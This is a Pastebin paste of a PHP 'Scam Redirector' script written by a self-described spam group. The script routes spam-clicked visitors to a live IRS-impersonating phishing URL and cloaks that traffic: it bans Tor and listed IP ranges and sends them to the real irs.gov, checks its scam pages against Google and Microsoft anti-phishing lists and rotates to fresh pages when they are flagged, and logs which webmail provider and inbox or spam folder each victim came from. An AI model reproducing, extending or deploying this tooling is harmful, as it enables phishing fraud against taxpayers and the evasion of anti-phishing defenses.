Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2018
6,633
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.63 KB | None | 0 0
  1. <?php
  2. /*************************************************************************************
  3. ** Scam Redirector v0.1 with IP banning system and more... **
  4. ** Last Modified: July 20, 2009 **
  5. ** Made by: SSS (Smart Spamming Solutions) from Romania **
  6. ** --- Getting Spam To A Higher Level --- **
  7. ** **
  8. ** Contact: ssslocalhost[at]gmail.com **
  9. ** <$$$>If you make $$$ with my script, please donate a few to me also :-)</$$$> **
  10. ** **
  11. ** Features: **
  12. ** - Auto-change scam website if is offline or in Google's phish database **
  13. ** - Advanced IP & Word (UA & Referrer) banning system, including Tor network **
  14. ** - Logging system with anti-log poisoning through UA or Referrer **
  15. ** - Sends an email when you are running out of scams **
  16. *************************************************************************************/
  17. //http://www.botsvsbrowsers.com/ip/166.137.133.178/index.html
  18. //https://wiki.mozilla.org/Phishing_Protection:_Server_Spec#Lookup_Requests
  19. //Do not show PHP errors
  20. error_reporting(0); //Leave as-is (recommended), otherwise put // in front of error_reporting(0);
  21.  
  22. /*************
  23. ** Settings **
  24. **************/
  25. //Scam Redirector version
  26. define("VERSION", "v0.1-July 20, 2009");
  27.  
  28. //Log file, where the visitor data should be written
  29. define("LOG_FILE", "ip.html");
  30.  
  31. //------------ TESTING or PRODUCTION
  32. define('STAGE', 'PRODUCTION');
  33.  
  34. //Add Google Analytics, for advanced Spam Statistics :-)
  35. $google_analytics = 0; // 1 - True; 0 - False
  36.  
  37. //Use the IP banning system
  38. $ip_ban = 1; // 1 - True; 0 - False
  39.  
  40. //Ban Tor network IPs
  41. $ban_tor = 1; // 1 - True; 0 - False
  42.  
  43. //Use the word banning system
  44. $word_ban = 1; // 1 - True; 0 - False
  45.  
  46. //Send email, if you are running out of scams
  47. $send_email = 1; // 1 - True; 0 - False
  48.  
  49. //Where to send an email, if you are running out of scams ($send_email must be set to 1)
  50. define("EMAIL", "mainiuaidi@yahoo.com"); //Change this with your own email
  51.  
  52. //Where to redirect the banned visitor
  53. define("REDIRECT_TO", "https://irs.gov"); //Leave as-is (recommended)
  54.  
  55. //Check the scam against Google's antiphish database (used in Firefox)
  56. //For better spam results set it to 1, but is not recommended since you will run out of scams in a matter of hours!
  57. define("GOOG_ANTIPHISH", 1); // 1 - True; 0 - False
  58.  
  59. //Check the scam against Microsoft's antiphish database (used in Internet Explorer)
  60. //For better spam results set it to 1, but is not recommended since you will run out of scams in a matter of hours!
  61. $msft_antiphish = 1; // 1 - True; 0 - False
  62.  
  63.  
  64. if (STAGE == 'TESTING')
  65. {
  66. //Define the path of the scam
  67. define("PATH", "");
  68.  
  69. //Define scam pages
  70. $scams = array('http://127.0.0.1/redirect/isonline.php', 'http://127.0.0.1/redirect/isonline2.php',
  71. 'http://127.0.0.1/redirect/isonline3.php', 'http://127.0.0.1/redirect/isonline4.php',
  72. 'http://127.0.0.1/redirect/isonline5.php');
  73. } elseif (STAGE == 'PRODUCTION')
  74. {
  75. //Define the path of the scam
  76. define("PATH", "/index.php");
  77.  
  78. //Define scam pages
  79. $scams = array('http://irs.gov-validate-details.mitreacris-trans.ro/irs');
  80. }
  81.  
  82. define("FRH_TOTAL", count($scams));
  83. define("FRH_ONLINE", "Coming Soon");
  84. define("FRH_OFFLINE", "Coming Soon");
  85.  
  86. $file = $_SERVER['PHP_SELF'];
  87. define("INDEX", $file);
  88.  
  89. define("EMAILSFILE", "emails.txt");
  90.  
  91. if ($_GET)
  92. {
  93. SSSCommands();
  94. }
  95.  
  96. InitStats();
  97.  
  98. $detect_os = strtoupper($_SERVER["SERVER_SOFTWARE"]);
  99. $pos = strpos($detect_os, "WIN32");
  100. if ($pos === false) {
  101. $current_os = "NON_WINDOWS";
  102. } else {
  103. $current_os = "WINDOWS";
  104. }
  105.  
  106. //Get the visitor IP
  107. if (@getenv(HTTP_CLIENT_IP))
  108. {
  109. $ip = @getenv(HTTP_CLIENT_IP);
  110. } else
  111. {
  112. $ip = @getenv(REMOTE_ADDR);
  113. }
  114.  
  115. //Get hostname by IP
  116. $hostname = gethostbyaddr($ip);
  117.  
  118. //Get date & time of the visit
  119. $dt = date("Y-m-d h:i:s A");
  120.  
  121. //Get visitor's User Agent
  122. $agent = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
  123.  
  124. //Get visitor's referrer
  125. if (isset($_SERVER['HTTP_REFERER']))
  126. {
  127. $referrer = strtolower(htmlspecialchars($_SERVER['HTTP_REFERER']));
  128. } else
  129. $referrer = "";
  130.  
  131. //Function to get the webmail name
  132. function MailFromReferrer($referrer)
  133. {
  134. //Define the patterns
  135. $wp = array('mail.yahoo.', 'mail.live.com', 'webmail.aol.com', 'mail.aol.com',
  136. '.earthlink.net', 'mail.lycos.com', 'mail.google.com', 'mail.excite.it',
  137. '.libero.it', '.alice.it', 'mail.comcast.net', 'webmail.att.net', 'mail.rcn.',
  138. '.mail.com', 'webmail.canada.com', '.verizon.net', 'commcenter.mchsi.com',
  139. '.juno.com', 'newmail.core.com', 'webmail.peoplepc.com', '.netaddress.com',
  140. '.bigpond.com', '.orange.co.uk', '.rr.com', '.roadrunner.com', 'www.me.com',
  141. '.netzero.net', 'tiscali.co.uk', '.maktoob.com', '.netscape.com', '.rock.com',
  142. '.operamail.com', 'www.google.com/ig/gmailmax', '.secureserver.net', '.coxmail.com', '.cox.net',
  143. '.fuse.net', '.inbox.com', '.ntlworld.com', '.alltel.net', '.email.it',
  144. '.nhlmail.com', '.alloymail.com', '.tiscali.it', '.dada.it', '.graffiti.net',
  145. '.handbag.com', '.freenet.de', '.bluewin.ch', '.arcor.de', '.strato.de',
  146. '.unitybox.de', '.eim.ae', 'mynet.com', 'oi.com.br', '.abv.bg', '.1und1.de', '.perfora.net',
  147. '.abacho.de', '.yandex.ru', '.networld.at', '.rediffmail.com', '.mail.ru', 'mail.bg', '.edumail.at', '.verizonmail.com',
  148. '.guam.net', '.northnet.org', '.easilymail.co.uk', '.knology.net', '.startlogic.com', '.katamail.com', '.tele2internet.it',
  149. '.interfree.it', '.tim.it', '.jumpy.it', '.gmxattachments.net', '.fastwebnet.it', '.ilink.ro', '.zappmobile.ro', '.connex.ro',
  150. '.freemail.hu', '.rediffmailpro.com', '.mayl.de', '.tre.it', '.cheapnet.it', '.ipower.com', '.aruba.it', '.gmx.net', '.tele2.it',
  151. '.register.it', '.univision.com', '.charter.net', '.doteasy.com', '.utanet.at', '.alicebusiness.it', '.walla.co.il', '.fastmail.fm',
  152. '.unofree.it', '.simail.it', '.netcentrum.cz', 'webmail.frontier.com');
  153.  
  154. //Define de webmail name
  155. $wm = array('Yahoo! Mail', 'Hotmail', 'AOL', 'AOL', 'Earthlink', 'Lycos', 'Gmail',
  156. 'Excite IT', 'Libero IT', 'Alice IT', 'Comcast', 'AT&T', 'RCN', 'Mail', 'Canada',
  157. 'Verizon', 'Mediacom', 'Juno', 'CoreComm', 'PeoplePC', 'Net@ddress',
  158. 'BigPond', 'Orange', 'Road Runner', 'Road Runner', 'MobileMe', 'NetZero', 'Tiscali UK',
  159. 'Maktoob', 'Netscape', 'Rock.com', 'OperaMail', 'Gmail', 'secureserver.net', 'Cox', 'Cox',
  160. 'Fuse', 'Inbox.com', 'Virgin Media', 'Windstream', 'Email.it', 'Mail', 'Mail', 'Tiscali IT',
  161. 'Data.it', 'Graffiti.net', 'Handbag.com', 'freenet.de', 'bluewin.ch', 'Arcor', 'Strato.de',
  162. 'Unitymedia Mail', 'Etisalat', 'MYNET', 'Oi Brasil', 'Abv.bg', '1&amp;1 Webmail', '1&amp;1 Webmail',
  163. 'Abacho.de', 'Yandex', 'Networld Mail', 'Rediffmail', 'Mail.ru', 'Mail.bg', 'edumail.at', 'Verizon', 'Guam.net',
  164. 'Westelcom', 'EasilyMail', 'Knology', 'StartLogic', 'Katamail', 'TELE2 IT', 'Interfree', 'TIM', 'Mediaset.it',
  165. 'GMX', 'FASTWEB', 'iLink', 'Zapp Mobile', 'Connex', 'freemail.hu', 'Rediffmail Pro', 'MAYL.DE', 'Tre', 'Cheapnet',
  166. 'WEB.DE', 'IPOWER Webmail', 'Aruba Webmail', 'GMX', 'TELE2 IT', 'Register.it Webmail', 'Univision.com',
  167. 'Charter.net', 'Doteasy Webmail', 'TELE2 AT', 'Alice', 'Walla.co.il', 'FastMail', 'Uno Communications SpA', 'Simail.it', 'NetCentrum', 'Frontier');
  168.  
  169. //Define type
  170. $wt = array('inbox', 'bulk', 'spam', 'junk', 'trash');
  171.  
  172. if (!empty($referrer))
  173. {
  174. for ($i = 0; $i <= count($wp) - 1; $i++)
  175. {
  176. $pos = strpos($referrer, $wp[$i]);
  177. if ($pos === false)
  178. {
  179. //
  180. } else
  181. {
  182. $pos1 = strpos($referrer, 'inbox');
  183. if ($pos1 === false)
  184. {
  185.  
  186. $pos2 = strpos($referrer, 'bulk');
  187. if ($pos2 === false)
  188. {
  189. //
  190.  
  191. $pos3 = strpos($referrer, 'spam');
  192. if ($pos3 === false)
  193. {
  194. $referrer = $wm[$i];
  195. } else
  196. {
  197. $referrer = $wm[$i] . " - SPAM";
  198. }
  199.  
  200. } else
  201. {
  202. $referrer = $wm[$i] . " - BULK";
  203. }
  204.  
  205.  
  206. } else
  207. {
  208. $referrer = $wm[$i] . " - INBOX";
  209. }
  210. }
  211.  
  212.  
  213. }
  214. }
  215. return $referrer;
  216. }
  217.  
  218. //Function to check if the IP is in our mask
  219. function compareRange($ip, $mask, $remaining)
  220. {
  221. $ip = explode('.', $ip);
  222. $mask = explode('.', $mask);
  223. for ($i = 0; $i < sizeof($ip); $i++)
  224. {
  225. $m = $i < sizeof($mask) ? $mask[$i] : $remaining;
  226. if ($ip[$i] < $m)
  227. return - 1;
  228. if ($ip[$i] > $m)
  229. return 1;
  230. }
  231. return 0;
  232. }
  233.  
  234. //Function to check if the IP is banned
  235. function checkIP($ip_to_match, $ip_array)
  236. {
  237. if (is_array($ip_array))
  238. {
  239. foreach ($ip_array as $filter)
  240. {
  241. if (strpos($filter, '-') === false)
  242. $limits = array($filter, $filter);
  243. else
  244. $limits = explode('-', $filter);
  245. if (compareRange($ip_to_match, $limits[0], 0) >= 0 && compareRange($ip_to_match,
  246. $limits[1], 255) <= 0)
  247. return true;
  248. }
  249. }
  250. return false;
  251. }
  252.  
  253. //Function to check if the IP is banned
  254. function GetIPOwner($ip_to_match, $ip_array, $owner_array)
  255. {
  256. if (is_array($ip_array))
  257. {
  258. $i = -1;
  259. foreach ($ip_array as $filter)
  260. {
  261. $i++;
  262. if (strpos($filter, '-') === false)
  263. $limits = array($filter, $filter);
  264. else
  265. $limits = explode('-', $filter);
  266. if (compareRange($ip_to_match, $limits[0], 0) >= 0 && compareRange($ip_to_match,
  267. $limits[1], 255) <= 0){
  268. if ($owner_array[$i] == '') return 'Not found'; else
  269. return $owner_array[$i];
  270. }
  271. }
  272. }
  273. return 'Not found';
  274. }
  275.  
  276. function counter()
  277. {
  278. if (!file_exists('counter.txt'))
  279. {
  280. $fh = fopen('counter.txt', 'a');
  281. fwrite($fh, "0\n");
  282. fclose($fh);
  283. }
  284. $fh = fopen('counter.txt', 'r+');
  285. $data = fread($fh, 512);
  286. $count = $data + 1;
  287. fseek($fh, 0);
  288. fwrite($fh, $count . "\n");
  289. fclose($fh);
  290. return $count;
  291. }
  292.  
  293. /**
  294. * Function get_between
  295. *
  296. * @param str IP Address
  297. * @return Boolean value representing whether or not the visitor should been banned
  298. */
  299. function get_between($text, $s1, $s2) {
  300. $mid_url = "";
  301. $pos_s = strpos($text,$s1);
  302. $pos_e = strpos($text,$s2);
  303. for ( $i=$pos_s+strlen($s1) ; ( ( $i < ($pos_e)) && $i < strlen($text) ) ; $i++ ) {
  304. $mid_url .= $text[$i];
  305. }
  306. return $mid_url;
  307. }
  308.  
  309. /**
  310. * Function checkOnTheFlyBan check if the IP Address is in our On The Fly list with banned IPs
  311. *
  312. * @param str IP Address
  313. * @return Boolean value representing whether or not the visitor should been banned
  314. */
  315. function checkOnTheFlyBan($ip)
  316. {
  317. $url = "ip_ban.txt";
  318. $lines = array_map('rtrim',file($url));
  319. foreach ($lines as $line_num => $line)
  320. {
  321. if ($ip == $line)
  322. {
  323. return true;
  324. }
  325. }
  326. return false;
  327. }
  328.  
  329. //Function to check if the IP is a Tor node
  330. function checkTorNode($ip)
  331. {
  332. //Tor nodes from https://www.dan.me.uk/torlist/
  333. $url = "tor.txt"; // https://www.dan.me.uk/torlist/
  334. $lines = array_map('rtrim',file($url));
  335. foreach ($lines as $line_num => $line)
  336. {
  337. if ($ip == $line)
  338. {
  339. return true;
  340. }
  341. }
  342. return false;
  343. }
  344.  
  345. //Function to check if the word from referrer or UA is banned
  346. function checkWord($str, $bw)
  347. {
  348. if (!empty($str))
  349. {
  350. $str = strtolower($str);
  351. for ($i = 0; $i <= count($bw) - 1; $i++)
  352. {
  353. $pos = strpos($str, $bw[$i]);
  354. if ($pos === false)
  355. {
  356. $bool = false;
  357. } else
  358. {
  359. $bool = true;
  360. break;
  361. }
  362. }
  363. } else
  364. {
  365. $bool = false;
  366. }
  367. return $bool;
  368. }
  369.  
  370. /**
  371. * Function SSSCommands is used to display internal pages of Scam Redirector
  372. */
  373. function SSSCommands()
  374. {
  375. define("TITLE", "[x0w] [R]edirector");
  376. /**
  377. * Function ShowMenu is used to display Scam Redirector's menu
  378. */
  379. function ShowMenu()
  380. {
  381. echo '<center>';
  382. echo '<br /><br />[ <a href="'.LOG_FILE.'" target="_blank">View IP Log</a> ] | [ <a href="ip_ban.txt" target="_blank">View On-The-Fly IP List</a> ] | [ <a href="'.EMAILSFILE.'" target="_blank">View On-The-Fly Email List</a> ]';
  383. echo "<br />[ <a href=".INDEX."?about>About</a> ] | [ <a href=".INDEX."?check>Check</a> ] | [ <a href=".INDEX."?empty>Empty</a> ] | [ <a href=".INDEX."?help>Help</a> ] | [ <a href=".INDEX."?info target=_blank>Info</a> ] | [ <a href=".INDEX."?settings>Settings</a> ] | [ <a href=".INDEX."?stats>Statistics</a> ] | [ <a href=".INDEX."?ver>Version</a> ] | [ <a href=".INDEX."?verify>Verify</a> ]";
  384. echo '<br /><br />Copyright (c) 2014, <b>[S]</b>mart <b>[S]</b>pamming <b>[S]</b>olutions. All Rights Reserved.';
  385. echo '</center>';
  386. }
  387.  
  388. /**
  389. * Function Percent is used to calculate the percentage based on two inputs
  390. */
  391. function Percent($num, $total, $p = false){
  392. $per = round($num / $total * 100, 2);
  393. if($p == true){
  394. $per .= "%";
  395. }
  396. return $per;
  397. }
  398.  
  399. if (isset($_GET['about']))
  400. {
  401. echo '<html><head><title>'.TITLE.' - About</title></head><body><center>';
  402. echo "About <b>[S]</b>cam <b>[R]</b>edirector";
  403. echo "<br /><br />";
  404. echo "Version ".VERSION;
  405. echo "<br /><br />";
  406. echo "Made in Romania";
  407. echo "<br /><br />";
  408. echo "--- Getting Spam To A Higher Level ---";
  409. echo "<br /><br />";
  410. echo '</center>';
  411. ShowMenu();
  412. echo '</body></html>';
  413. }
  414.  
  415. if (isset($_GET['check']))
  416. {
  417. echo '<html><head><title>'.TITLE.' - Check</title></head><body><center>';
  418.  
  419. $func = array("mail", "file_get_contents");
  420.  
  421. for ($i=0;$i<count($func);$i++) {
  422. if(!function_exists($func[$i])) {
  423. echo "<font color=red>$func[$i] is not available. You cannot install <b>Scam Redirector</b> on this server.</font><br/>";
  424. } else {
  425. echo "<font color=green>$func[$i] is available. You can install <b>Scam Redirector</b> on this server.</font><br/>";
  426. }
  427. }
  428. echo '</center>';
  429. ShowMenu();
  430. echo '</body></html>';
  431. }
  432.  
  433. //Piece of code used to clean-up the log file (Usage: index.php?empty)
  434. if (isset($_GET['empty']))
  435. {
  436. echo '<html><head><title>'.TITLE.' - Empty</title></head><body><center>';
  437. echo '<a href="'.INDEX.'?empty1">Clean '.LOG_FILE.'</a><br /><a href="'.INDEX.'?empty2">Clean '.LOG_FILE.' &amp; reset counter &amp; statistics</a>';
  438. echo '</center>';
  439. ShowMenu();
  440. echo '</body></html>';
  441. }
  442.  
  443. //Piece of code used to clean-up the log file (Usage: index.php?empty)
  444. if (isset($_GET['empty1']))
  445. {
  446. //Reset counter
  447. $fh = fopen(LOG_FILE, "w");
  448. fwrite($fh, "");
  449. fclose($fh);
  450.  
  451. echo '<html><head><title>'.TITLE.' - Empty</title></head><body><center>';
  452. echo "The log file <b>".LOG_FILE."</b> has been cleaned.";
  453. echo '</center>';
  454. ShowMenu();
  455. echo '</body></html>';
  456. }
  457.  
  458. //Piece of code used to clean-up the log file (Usage: index.php?empty)
  459. if (isset($_GET['empty2']))
  460. {
  461. //Reset counter
  462. $fh = fopen(LOG_FILE, "w");
  463. fwrite($fh, "");
  464. fclose($fh);
  465.  
  466. echo '<html><head><title>'.TITLE.' - Empty</title></head><body><center>';
  467. echo "The log file <b>".LOG_FILE."</b> has been cleaned.";
  468.  
  469. $fh = fopen('counter.txt', 'w');
  470. fwrite($fh, "0\n");
  471. fclose($fh);
  472. $fh = fopen('stats.txt', 'w');
  473. fwrite($fh, time().",0,0,0,0,0");
  474. fclose($fh);
  475. echo " The counter & statistics have been reset!";
  476. echo '</center>';
  477. ShowMenu();
  478. echo '</body></html>';
  479. }
  480.  
  481. if (isset($_GET['help']))
  482. {
  483. echo '<html><head><title>'.TITLE.' - Help</title></head><body>';
  484. echo "<b>[S]</b>cam <b>[R]</b>edirector Help";
  485. echo "<br /><br />";
  486. echo "<b>about</b> - Provides information about <b>[S]</b>cam <b>[R]</b>edirector";
  487. echo "<br /><br />";
  488. echo "<b>check</b> - Check if you can run <b>[S]</b>cam <b>[R]</b>edirector on this host.";
  489. echo "<br /><br />";
  490. echo "<b>empty</b> - Clears the log file.";
  491. echo "<br /><br />";
  492. echo "<b>help</b> - Provides Help information for <b>[S]</b>cam <b>[R]</b>edirector commands.";
  493. echo "<br /><br />";
  494. echo "<b>info</b> - Executes the phpinfo().";
  495. echo "<br /><br />";
  496. echo "<b>menu</b> - Displays the <b>[S]</b>cam <b>[R]</b>edirector menu.";
  497. echo "<br /><br />";
  498. echo "<b>stats</b> - Displays statistics about your spam and <b>[S]</b>cam <b>[R]</b>edirector.";
  499. echo "<br /><br />";
  500. echo "<b>ver</b> - Displays the <b>[S]</b>cam <b>[R]</b>edirector version.";
  501. echo "<br /><br />";
  502. echo "<b>verify</b> - Verify each scam and reports its status.";
  503. echo "<br /><br />";
  504. echo "Usage: <b>index.php?help</b>";
  505. ShowMenu();
  506. echo '</body></html>';
  507. }
  508.  
  509. if (isset($_GET['info']))
  510. {
  511. echo '<html><head><title>'.TITLE.' - Info (phpinfo)</title></head><body></body></html>';
  512. phpinfo();
  513. }
  514.  
  515. if (isset($_GET['menu']))
  516. {
  517. echo '<html><head><title>'.TITLE.' - Menu</title></head><body>';
  518. ShowMenu();
  519. echo '</body></html>';
  520. }
  521.  
  522. if (isset($_GET['settings']))
  523. {
  524. echo '<html><head><title>'.TITLE.' - Settings</title></head><body>';
  525. echo "<b>[S]</b>cam <b>[R]</b>edirector Settings";
  526. echo "<br /><br />";
  527. echo '<fieldset><legend>Settings</legend><table width="500" border="0">
  528. <tr>
  529. <td width="140"><b>Google Analytics</b></td>
  530. <td width="10">&nbsp;</td>
  531. <td width="253">
  532. <select name="ga">
  533. <option value="Yes">Yes</option>
  534. <option value="No" selected>No</option>
  535. </select>
  536. </td>
  537. </tr>
  538. <tr>
  539. <td><b>Send Email</b></td>
  540. <td>&nbsp;</td>
  541. <td><select name="send_email">
  542. <option value="Yes" selected>Yes</option>
  543. <option value="No">No</option>
  544. </select></td>
  545. </tr>
  546. <tr>
  547. <td><b>Email</b></td>
  548. <td>&nbsp;</td>
  549. <td><input type="text" name="email" size="30" value="'.EMAIL.'" /></td>
  550. </tr>
  551. <tr>
  552. <td><b>Redirect to</b></td>
  553. <td>&nbsp;</td>
  554. <td><input type="text" name="redirect_to" size="30" value="'.REDIRECT_TO.'" /></td>
  555. </tr>
  556. <tr>
  557. <td><b>Stage</b></td>
  558. <td>&nbsp;</td>
  559. <td>
  560. <select name="stage">';
  561. if (STAGE == 'TESTING'){
  562. echo '<option value="TESTING" selected>TESTING</option><option value="PRODUCTION">PRODUCTION</option>';
  563. } elseif (STAGE == 'PRODUCTION'){
  564. echo '<option value="TESTING">TESTING</option><option value="PRODUCTION" selected>PRODUCTION</option>';
  565. }
  566. echo '</select>
  567. </td>
  568. </tr>
  569. <tr>
  570. <td>&nbsp;</td>
  571. <td>&nbsp;</td>
  572. <td><input type="submit" name="submit" value="Save" /></td>
  573. </tr>
  574. </table></fieldset>';
  575. echo '<fieldset><legend>Logging</legend><table width="500" border="0">
  576. <tr>
  577. <td width="140"><b>Log File</b></td>
  578. <td width="10">&nbsp;</td>
  579. <td width="253"><input type="text" name="log_file" value="'.LOG_FILE.'" /></td>
  580. </tr>
  581. <tr>
  582. <td><b>Log normal IPs</b></td>
  583. <td>&nbsp;</td>
  584. <td><select name="log1">
  585. <option value="Yes" selected>Yes</option>
  586. <option value="No">No</option>
  587. </select></td>
  588. </tr>
  589. <tr>
  590. <td><b>Log banned IPs</b></td>
  591. <td>&nbsp;</td>
  592. <td><select name="log2">
  593. <option value="Yes" selected>Yes</option>
  594. <option value="No">No</option>
  595. </select></td>
  596. </tr>
  597. <tr>
  598. <td><b>Log watched IPs</b></td>
  599. <td>&nbsp;</td>
  600. <td><select name="log3">
  601. <option value="Yes" selected>Yes</option>
  602. <option value="No">No</option>
  603. </select></td>
  604. </tr>
  605. </table></fieldset>';
  606. echo '<fieldset><legend>Banning</legend><table width="500" border="0">
  607. <tr>
  608. <td width="140"><b>IP Banning</b></td>
  609. <td width="10">&nbsp;</td>
  610. <td width="253">
  611. <select name="ban1">
  612. <option value="Yes" selected>Yes</option>
  613. <option value="No">No</option>
  614. </select>
  615. </td>
  616. </tr>
  617. <tr>
  618. <td><b>Ban Tor Network</b></td>
  619. <td>&nbsp;</td>
  620. <td><select name="ban2">
  621. <option value="Yes" selected>Yes</option>
  622. <option value="No">No</option>
  623. </select></td>
  624. </tr>
  625. <tr>
  626. <td><b>Word Banning</b></td>
  627. <td>&nbsp;</td>
  628. <td><select name="ban2">
  629. <option value="Yes" selected>Yes</option>
  630. <option value="No">No</option>
  631. </select></td>
  632. </tr>
  633. </table></fieldset>';
  634. echo '<fieldset><legend>Scams</legend><table width="500" border="0">
  635. <tr>
  636. <td width="140"><b>ScamPrint&trade;</b></td>
  637. <td width="10">&nbsp;</td>
  638. <td width="253"><input type="text" name="sp_1" size="40" value="&lt;ISONLINE VALUE=TRUE&gt;&lt;/ISONLINE&gt;" /></td>
  639. </tr>
  640. <tr>
  641. <td><b>Google Antiphish</b></td>
  642. <td>&nbsp;</td>
  643. <td><select name="goog">
  644. <option value="Yes" selected>Yes</option>
  645. <option value="No">No</option>
  646. </select></td>
  647. </tr>
  648. <tr>
  649. <td><b>Microsoft Antiphish</b></td>
  650. <td>&nbsp;</td>
  651. <td><select name="msft">
  652. <option value="Yes" selected>Yes</option>
  653. <option value="No">No</option>
  654. </select></td>
  655. </tr>
  656. </table></fieldset>';
  657. ShowMenu();
  658. echo '</body></html>';
  659. }
  660.  
  661. if (isset($_GET['stats']))
  662. {
  663. $fh = fopen('stats.txt', 'r');
  664. $data = fread($fh, 1024);
  665. $array = explode(",", $data);
  666. fclose($fh);
  667.  
  668. $otfip = 0;
  669. $otfemails = 0;
  670.  
  671. if (file_exists('ip_ban.txt'))
  672. {
  673. $otfip = count(file('ip_ban.txt'));
  674. }
  675. if (file_exists(EMAILSFILE))
  676. {
  677. $otfemails = count(file(EMAILSFILE));
  678. }
  679.  
  680. $vst = $array[1];
  681. $unq = $array[2];
  682. $bnd = $array[3];
  683. $per1 = Percent($bnd, $vst, true);
  684. $wat = $array[4];
  685. if ($wat == '')
  686. {
  687. $wat = 0;
  688. }
  689. $per2 = Percent($wat, $vst, true);
  690. $nor = $array[5];
  691. $per3 = Percent($nor, $vst, true);
  692. global $scams;
  693. $FRH_CURRENT = ScamURL($scams);
  694.  
  695. $FRH_CURRENT_PARTS = parse_url($FRH_CURRENT);
  696. $FRH_URL = $FRH_CURRENT_PARTS['scheme']."://".$FRH_CURRENT_PARTS['host'];
  697. $frh_html = "";
  698. for ($i = 0; $i <= count($scams) - 1; $i++)
  699. {
  700. $frh_html .= "#{".($i+1)."} $scams[$i]<br />";
  701. }
  702. $frh_html = str_replace($FRH_URL, "<font color=red>$FRH_URL</font>", $frh_html);
  703. /*
  704. $key = array_search($FRH_CURRENT, $scams);
  705. $frh_online = FRH_TOTAL - $key;
  706. */
  707. echo '<html><head><title>'.TITLE.' - Statistics</title><meta http-equiv="refresh" content="10" /></head><body>';
  708. echo "<b>[S]</b>cam <b>[R]</b>edirector Statistics";
  709. echo "<br /><br />";
  710. echo "Uptime: ".readable_time($array[0], 7);
  711. echo "<br /><br />";
  712. echo "Freehostia's: ".FRH_TOTAL."<br />".$frh_html."<br />Online: ".FRH_ONLINE."<br />Offline: ".FRH_OFFLINE;
  713. echo "<br /><br />";
  714. echo 'Visitors: <b><a href="'.LOG_FILE.'" target="_blank">'.$vst.'</a></b><br />Unique: <b>'.$unq.'</b><br />Banned: <b>'.$bnd.' ('.$per1.')</b><br />Watched: <b>'.$wat.' ('.$per2.')</b><br />Normal: <b>'.$nor.' ('.$per3.')</b>';
  715. echo "<br /><br />";
  716. echo 'On-The-Fly IPs: <b><a href="ip_ban.txt" target="_blank">'.$otfip.'</a></b><br />Emails: <b><a href="'.EMAILSFILE.'" target="_blank">'.$otfemails.'</a></b>';
  717. echo "<br /><br />";
  718. echo "Listed on Phishtank: <b>".GetPhishtank()."</b><br />Listed on Microsoft's phishing database: <b>No</b><br />Listed on Google's phishing database: <b>No</b>";
  719. ShowMenu();
  720. echo '</body></html>';
  721. }
  722.  
  723. if (isset($_GET['ver']))
  724. {
  725. echo '<html><head><title>'.TITLE.' - Version</title></head><body><center>';
  726. echo "You are running <b>[S]</b>cam <b>[R]</b>edirector ".VERSION.".";
  727. echo '</center>';
  728. ShowMenu();
  729. echo '</body></html>';
  730. }
  731.  
  732. if (isset($_GET['verify']))
  733. {
  734. echo '<html><head><title>'.TITLE.' - Verify</title></head><body><center>';
  735. echo "Coming Soon";
  736. echo '</center>';
  737. ShowMenu();
  738. echo '</body></html>';
  739. }
  740.  
  741. die();
  742. }
  743.  
  744. /**
  745. * Function checkAsRedirect check if the referrer is the same with Scam Redirector URL. If true, 90% of the vistors should be banned
  746. *
  747. * @param referrer Visitor's referrer
  748. * @return Boolean value representing whether or not the visitor should been banned
  749. */
  750. function checkAsRedirect($referrer)
  751. {
  752. //Check if server uses http or https
  753. $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https' : 'http';
  754.  
  755. /*
  756. $_SERVER['SERVER_NAME'] does not work if UseCanonicalName is off. Used $_SERVER['HTTP_HOST'] instead
  757. */
  758. $url_1 = $protocol."://".$_SERVER['HTTP_HOST'].substr(INDEX, 0, strrpos(INDEX, '/'));
  759. $url_2 = $protocol."://".$_SERVER['HTTP_HOST'].substr(INDEX, 0, strrpos(INDEX, '/'))."/";
  760. if (($referrer == $url_1) || ($referrer == $url_2))
  761. {
  762. return true;
  763. }
  764. return false;
  765. }
  766.  
  767. /**
  768. * Function RedirectURL check if the referrer is the same with Scam Redirector URL. If true, 90% of the vistors should be banned
  769. *
  770. * @param referrer Visitor's referrer
  771. * @return Boolean value representing whether or not the visitor should been banned
  772. */
  773. function RedirectURL()
  774. {
  775. //Check if server uses http or https
  776. $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https' : 'http';
  777. $url = $protocol."://".$_SERVER['HTTP_HOST'].substr(INDEX, 0, strrpos(INDEX, '/'));
  778. return $url;
  779. }
  780.  
  781. /**
  782. * Function checkMatch check if the string matches our banned string
  783. *
  784. * @param str string
  785. * @param array Array with banned strings
  786. * @return Boolean value representing whether or not the visitor should been banned
  787. */
  788. function checkMatch($str, $array)
  789. {
  790. for ($i = 0; $i <= count($array) - 1; $i++)
  791. {
  792. if ($str == $array[$i])
  793. {
  794. return true;
  795. break;
  796. }
  797. }
  798. return false;
  799. }
  800.  
  801. /**
  802. * Function checkUniqueIP
  803. *
  804. * @param ip IP Address
  805. */
  806. function checkUniqueIP($ip)
  807. {
  808. $lines = array_map('rtrim',file('ip.txt'));
  809. foreach ($lines as $line_num => $line)
  810. {
  811. if ($ip == $line)
  812. {
  813. return true;
  814. }
  815. }
  816. return false;
  817. }
  818.  
  819. /**
  820. * Function CheckDuplicate verifies the specified file for duplicate strings
  821. *
  822. * @param str The string we want to check
  823. * @param file The file where we will check for duplicate
  824. * @return Boolean value representing whether or not the visitor should been banned
  825. */
  826. function CheckDuplicate($str, $file) {
  827. if (file_exists($file))
  828. {
  829. $handle = fopen($file, "r");
  830. while(!@feof($handle))
  831. {
  832. $buffer .= @fgets($handle, 4096);
  833. }
  834.  
  835. if (strstr($buffer,strtolower($str))) {
  836. return true;
  837. }
  838. }
  839. return false;
  840. }
  841.  
  842. /**
  843. * Function GetPhishtank will check if Scam Redirector was listed on Phishtank
  844. *
  845. * @param referrer Referrer
  846. * @param ip IP Address
  847. * @return Boolean value representing whether or not the visitor should been banned
  848. */
  849. function GetPhishtank()
  850. {
  851. $filename = 'phishtank.txt';
  852. if (file_exists($filename)) {
  853.  
  854. $fh = fopen($filename, 'r');
  855. $data = fread($fh, 1024);
  856. fclose($fh);
  857. return $data;
  858. }else{
  859. $fh = fopen($filename, 'w') or die("Can't open file");
  860. fwrite($fh, 'No');
  861. fclose($fh);
  862. return "No";
  863. }
  864. }
